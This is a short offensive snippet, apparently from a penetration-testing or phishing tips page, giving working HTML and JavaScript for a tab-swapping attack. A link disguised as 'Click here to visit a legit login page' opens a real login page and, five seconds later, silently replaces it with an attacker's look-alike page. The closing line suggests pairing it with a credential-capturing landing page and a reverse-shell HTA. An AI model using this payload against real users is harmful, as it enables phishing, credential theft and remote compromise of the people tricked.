Open Page in New Tab (Useful for BeeF hooks)
<html>
<script>
var windowJack = function(){
window.open('https://legitloginpage.xyz', 'test');
setTimeout(function(){window.open('https://notlegitloginpage.xyz', 'test');}, 5000);
}
</script>
<div style="width :100%; hieght: 100%" onclick="windowJack()"><button style="cursor: pointer; background:none!important; border:none; padding:0!important; font:inherit; border-bottom:1px solid #444;">Click here to visit a legit login page</button></div>
</html>
You could combine this attack with a credential capturing landing page and reverse_shell HTA as seen in SEToolkit demo below:
